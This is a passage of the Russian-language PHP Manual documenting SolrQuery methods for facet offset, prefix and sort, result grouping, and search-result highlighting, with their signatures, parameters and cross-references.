
field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает смещение в список ограничений для разбивки на страницы

  • « SolrQuery::setFacetMissing
  • SolrQuery::setFacetPrefix »
  • PHP Manual
  • SolrQuery
  • Устанавливает смещение в список ограничений для разбивки на страницы

SolrQuery::setFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::setFacetOffset — Устанавливает смещение в список ограничений для разбивки на страницы

Описание

public SolrQuery::setFacetOffset(int $offset, string $field_override = ?): SolrQuery

Устанавливает смещение в список ограничений для разбивки на страницы.

Список параметров

offset

Смещение

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет

  • « SolrQuery::setFacetOffset
  • SolrQuery::setFacetSort »
  • PHP Manual
  • SolrQuery
  • Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет

SolrQuery::setFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::setFacetPrefix — Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет

Описание

public SolrQuery::setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery

Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет.

Список параметров

prefix

Строковый префикс

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Определяет порядок ограничений поля фасета

  • « SolrQuery::setFacetPrefix
  • SolrQuery::setGroup »
  • PHP Manual
  • SolrQuery
  • Определяет порядок ограничений поля фасета

SolrQuery::setFacetSort

(PECL solr >= 0.9.2)

SolrQuery::setFacetSort — Определяет порядок ограничений поля фасета

Описание

public SolrQuery::setFacetSort(int $facetSort, string $field_override = ?): SolrQuery

Определяет порядок ограничений поля фасета

Список параметров

facetSort

Используйте SolrQuery::FACET_SORT_INDEX для сортировки по порядку индекса или SolrQuery::FACET_SORT_COUNT для сортировки по количеству.

field_override

Имя поля.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Включает/отключает группировку результатов (параметр group)

  • « SolrQuery::setFacetSort
  • SolrQuery::setGroupCachePercent »
  • PHP Manual
  • SolrQuery
  • Включает/отключает группировку результатов (параметр group)

SolrQuery::setGroup

(PECL solr >= 2.2.0)

SolrQuery::setGroup — Включает/отключает группировку результатов (параметр group)

Описание

public SolrQuery::setGroup(bool $value): SolrQuery

Включает/отключает группировку результатов (параметр group)

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::getGroup() - Возвращает true, если группировка включена
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Включает кеширование для группировки результатов

  • « SolrQuery::setGroup
  • SolrQuery::setGroupFacet »
  • PHP Manual
  • SolrQuery
  • Включает кеширование для группировки результатов

SolrQuery::setGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::setGroupCachePercent — Включает кеширование для группировки результатов

Описание

public SolrQuery::setGroupCachePercent(int $percent): SolrQuery

Установка для этого параметра числа больше 0 включает кеширование для группировки результатов. Группа результатов выполняет два поиска; эта опция кеширует второй поиск. Значение сервера по умолчанию - 0. Тестирование показало, что групповое кеширование улучшает только время поиска с логическими запросами, запросами с подстановочными знаками и нечёткими запросами. Для простых запросов, таких как выражение или запросы "сопоставить все", групповое кеширование снижает производительность. Параметр group.cache.percent

Список параметров

percent

Возвращаемые значения

Ошибки

Выбрасывает SolrIllegalArgumentException в случае передачи неверного параметра.

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр group.facet

  • « SolrQuery::setGroupCachePercent
  • SolrQuery::setGroupFormat »
  • PHP Manual
  • SolrQuery
  • Устанавливает параметр group.facet

SolrQuery::setGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::setGroupFacet — Устанавливает параметр group.facet

Описание

public SolrQuery::setGroupFacet(bool $value): SolrQuery

Определяет, нужно ли вычислять сгруппированные фасеты для фасетов поля, указанных в параметрах facet.field. Сгруппированные фасеты вычисляются на основе первой указанной группы.

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает формат группы, структуру результата (параметр group.format)

  • « SolrQuery::setGroupFacet
  • SolrQuery::setGroupLimit »
  • PHP Manual
  • SolrQuery
  • Устанавливает формат группы, структуру результата (параметр group.format)

SolrQuery::setGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::setGroupFormat — Устанавливает формат группы, структуру результата (параметр group.format)

Описание

public SolrQuery::setGroupFormat(string $value): SolrQuery

Устанавливает параметр group.format. Если для этого параметра установлено значение simple, сгруппированные документы представляются в одном плоском списке, а параметры start и rows влияют на количество документов, а не на группы. Допустимые значения: grouped/simple

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1

  • « SolrQuery::setGroupFormat
  • SolrQuery::setGroupMain »
  • PHP Manual
  • SolrQuery
  • Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1

SolrQuery::setGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::setGroupLimit — Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1

Описание

public SolrQuery::setGroupLimit(int $value): SolrQuery

Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1.

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple

  • « SolrQuery::setGroupLimit
  • SolrQuery::setGroupNGroups »
  • PHP Manual
  • SolrQuery
  • Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple

SolrQuery::setGroupMain

(PECL solr >= 2.2.0)

SolrQuery::setGroupMain — Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple

Описание

public SolrQuery::setGroupMain(string $value): SolrQuery

Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple.

Список параметров

value

Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе.

Возвращаемые значения

Возвращает экземпляр SolrQuery.

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupMain()
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Если true, Solr включает в результаты количество групп, которые соответствуют запросу

  • « SolrQuery::setGroupMain
  • SolrQuery::setGroupOffset »
  • PHP Manual
  • SolrQuery
  • Если true, Solr включает в результаты количество групп, которые соответствуют запросу

SolrQuery::setGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::setGroupNGroups — Если true, Solr включает в результаты количество групп, которые соответствуют запросу

Описание

public SolrQuery::setGroupNGroups(bool $value): SolrQuery

Если true, Solr включает в результаты количество групп, которые соответствуют запросу.

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметр group.offset

  • « SolrQuery::setGroupNGroups
  • SolrQuery::setGroupTruncate »
  • PHP Manual
  • SolrQuery
  • Устанавливает параметр group.offset

SolrQuery::setGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::setGroupOffset — Устанавливает параметр group.offset

Описание

public SolrQuery::setGroupOffset(int $value): SolrQuery

Устанавливает параметр group.offset

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу

  • « SolrQuery::setGroupOffset
  • SolrQuery::setHighlight »
  • PHP Manual
  • SolrQuery
  • Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу

SolrQuery::setGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::setGroupTruncate — Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу

Описание

public SolrQuery::setGroupTruncate(bool $value): SolrQuery

Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу. Значение сервера по умолчанию - false. Параметр group.truncate

Список параметров

value

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Включает или отключает выделение

  • « SolrQuery::setGroupTruncate
  • SolrQuery::setHighlightAlternateField »
  • PHP Manual
  • SolrQuery
  • Включает или отключает выделение

SolrQuery::setHighlight

(PECL solr >= 0.9.2)

SolrQuery::setHighlight — Включает или отключает выделение

Описание

public SolrQuery::setHighlight(bool $flag): SolrQuery

Установив значение true позволяет создавать выделенные фрагменты в ответе на запрос.

Установив значение false отключает выделение

Список параметров

flag

Включает или отключает выделение

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт поле резервного копирования для использования

  • « SolrQuery::setHighlight
  • SolrQuery::setHighlightFormatter »
  • PHP Manual
  • SolrQuery
  • Задаёт поле резервного копирования для использования

SolrQuery::setHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::setHighlightAlternateField — Задаёт поле резервного копирования для использования

Описание

public SolrQuery::setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery

Если фрагмент не может быть создан из-за отсутствия подходящих выражений, можно указать поле для использования в качестве резервной копии или сводки по умолчанию.

Список параметров

field

Имя резервного поля

field_override

Имя поля, для которого мы переопределяем этот параметр.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт средство форматирования для вывода выделения

  • « SolrQuery::setHighlightAlternateField
  • SolrQuery::setHighlightFragmenter »
  • PHP Manual
  • SolrQuery
  • Задаёт средство форматирования для вывода выделения

SolrQuery::setHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFormatter — Задаёт средство форматирования для вывода выделения

Описание

public SolrQuery::setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery

Задаёт средство форматирования для вывода выделения

Список параметров

formatter

В настоящее время единственное допустимое значение - "simple"

field_override

Имя поля

Возвращаемые значения

Возвращает экземпляр SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает генератор текстовых фрагментов для выделенного текста

  • « SolrQuery::setHighlightFormatter
  • SolrQuery::setHighlightFragsize »
  • PHP Manual
  • SolrQuery
  • Устанавливает генератор текстовых фрагментов для выделенного текста

SolrQuery::setHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragmenter — Устанавливает генератор текстовых фрагментов для выделенного текста

Описание

public SolrQuery::setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery

Задаёт генератор текстового фрагмента для выделенного текста.

Список параметров

fragmenter

Стандартный фрагментер - разрыв. Другой вариант - регулярное выражение, которое пытается создать фрагменты, похожие на определённое регулярное выражение.

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Размер фрагментов, которые следует учитывать при выделении

  • « SolrQuery::setHighlightFragmenter
  • SolrQuery::setHighlightHighlightMultiTerm »
  • PHP Manual
  • SolrQuery
  • Размер фрагментов, которые следует учитывать при выделении

SolrQuery::setHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragsize — Размер фрагментов, которые следует учитывать при выделении

Описание

public SolrQuery::setHighlightFragsize(int $size, string $field_override = ?): SolrQuery

Устанавливает размер в символах фрагментов для выделения. "0" указывает, что следует использовать все значение поля (без фрагментации).

Список параметров

size

Размер в символах фрагментов, которые следует учитывать при выделении

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Использовать SpanScorer для выделения выражений

  • « SolrQuery::setHighlightFragsize
  • SolrQuery::setHighlightMaxAlternateFieldLength »
  • PHP Manual
  • SolrQuery
  • Использовать SpanScorer для выделения выражений

SolrQuery::setHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::setHighlightHighlightMultiTerm — Использовать SpanScorer для выделения выражений

Описание

public SolrQuery::setHighlightHighlightMultiTerm(bool $flag): SolrQuery

Использовать SpanScorer для выделения фразовых выражений, только когда они появляются во фразе запроса в документе.

Список параметров

flag

Следует ли использовать SpanScorer для выделения фразовых выражений только тогда, когда они появляются во фразе запроса в документе.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество символов поля для возврата

  • « SolrQuery::setHighlightHighlightMultiTerm
  • SolrQuery::setHighlightMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальное количество символов поля для возврата

SolrQuery::setHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAlternateFieldLength — Устанавливает максимальное количество символов поля для возврата

Описание

public SolrQuery::setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery

Если SolrQuery::setHighlightAlternateField() было передано значение true, этот параметр указывает максимальное количество символов поля для возврата

Любое значение меньше или равное 0 означает неограниченное.

Список параметров

fieldLength

Длина поля

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт количество символов в документе для поиска подходящих фрагментов

  • « SolrQuery::setHighlightMaxAlternateFieldLength
  • SolrQuery::setHighlightMergeContiguous »
  • PHP Manual
  • SolrQuery
  • Задаёт количество символов в документе для поиска подходящих фрагментов

SolrQuery::setHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAnalyzedChars — Задаёт количество символов в документе для поиска подходящих фрагментов

Описание

public SolrQuery::setHighlightMaxAnalyzedChars(int $value): SolrQuery

Задаёт количество символов в документе для поиска подходящих фрагментов

Список параметров

value

Количество символов в документе для поиска подходящих фрагментов

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Свёртывать ли смежные фрагменты в один фрагмент

  • « SolrQuery::setHighlightMaxAnalyzedChars
  • SolrQuery::setHighlightRegexMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Свёртывать ли смежные фрагменты в один фрагмент

SolrQuery::setHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMergeContiguous — Свёртывать ли смежные фрагменты в один фрагмент

Описание

public SolrQuery::setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery

Свёртывать ли смежные фрагменты в один фрагмент

Список параметров

value

Свёртывать ли смежные фрагменты в один фрагмент

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт максимальное количество символов для анализа

  • « SolrQuery::setHighlightMergeContiguous
  • SolrQuery::setHighlightRegexPattern »
  • PHP Manual
  • SolrQuery
  • Задаёт максимальное количество символов для анализа

SolrQuery::setHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexMaxAnalyzedChars — Задаёт максимальное количество символов для анализа

Описание

public SolrQuery::setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery

Задаёт максимальное количество символов для анализа из поля при использовании фрагментера регулярного выражения

Список параметров

maxAnalyzedChars

Максимальное количество символов для анализа из поля при использовании фрагментера регулярного выражения

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт регулярное выражение для фрагментации

  • « SolrQuery::setHighlightRegexMaxAnalyzedChars
  • SolrQuery::setHighlightRegexSlop »
  • PHP Manual
  • SolrQuery
  • Задаёт регулярное выражение для фрагментации

SolrQuery::setHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexPattern — Задаёт регулярное выражение для фрагментации

Описание

public SolrQuery::setHighlightRegexPattern(string $value): SolrQuery

Задаёт регулярное выражение для фрагментации. Можно использовать для извлечения предложений

Список параметров

value

Регулярное выражение для фрагментации. Можно использовать для извлечения предложений

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента

  • « SolrQuery::setHighlightRegexPattern
  • SolrQuery::setHighlightRequireFieldMatch »
  • PHP Manual
  • SolrQuery
  • Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента

SolrQuery::setHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexSlop — Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента

Описание

public SolrQuery::setHighlightRegexSlop(float $factor): SolrQuery

Коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента (указанного в SolrQuery::setHighlightFragsize) для соответствия регулярному выражению.

Список параметров

factor

Коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Требовать сопоставления полей при выделении

  • « SolrQuery::setHighlightRegexSlop
  • SolrQuery::setHighlightSimplePost »
  • PHP Manual
  • SolrQuery
  • Требовать сопоставления полей при выделении

SolrQuery::setHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRequireFieldMatch — Требовать сопоставления полей при выделении

Описание

public SolrQuery::setHighlightRequireFieldMatch(bool $flag): SolrQuery

Если true, тогда поле будет выделено только в том случае, если запрос соответствует этому конкретному полю.

Будет работать, только если для SolrQuery::setHighlightUsePhraseHighlighter() установлено значение true

Список параметров

flag

true или false

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текст, который появляется после выделенного выражения

  • « SolrQuery::setHighlightRequireFieldMatch
  • SolrQuery::setHighlightSimplePre »
  • PHP Manual
  • SolrQuery
  • Устанавливает текст, который появляется после выделенного выражения

SolrQuery::setHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePost — Устанавливает текст, который появляется после выделенного выражения

Описание

public SolrQuery::setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery

Устанавливает текст, который появляется после выделенного выражения

Список параметров

simplePost

Устанавливает текст, который появляется после выделенного выражения

По умолчанию </em>

field_override

Имя поля

Возвращаемые значения

Возвращает экземпляр SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текст, который появляется перед выделенным выражением

  • « SolrQuery::setHighlightSimplePost
  • SolrQuery::setHighlightSnippets »
  • PHP Manual
  • SolrQuery
  • Устанавливает текст, который появляется перед выделенным выражением

SolrQuery::setHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePre — Устанавливает текст, который появляется перед выделенным выражением

Описание

public SolrQuery::setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery

Устанавливает текст, который появляется перед выделенным выражением

По умолчанию <em>

Список параметров

simplePre

Текст, который появляется перед выделенным выражением

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля

  • « SolrQuery::setHighlightSimplePre
  • SolrQuery::setHighlightUsePhraseHighlighter »
  • PHP Manual
  • SolrQuery
  • Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля

SolrQuery::setHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSnippets — Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля

Описание

public SolrQuery::setHighlightSnippets(int $value, string $field_override = ?): SolrQuery

Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля

Список параметров

value

Максимальное количество выделенных фрагментов для создания для каждого поля

field_override

Имя поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Следует ли выделять выражения только тогда, когда они появляются во фразе запроса

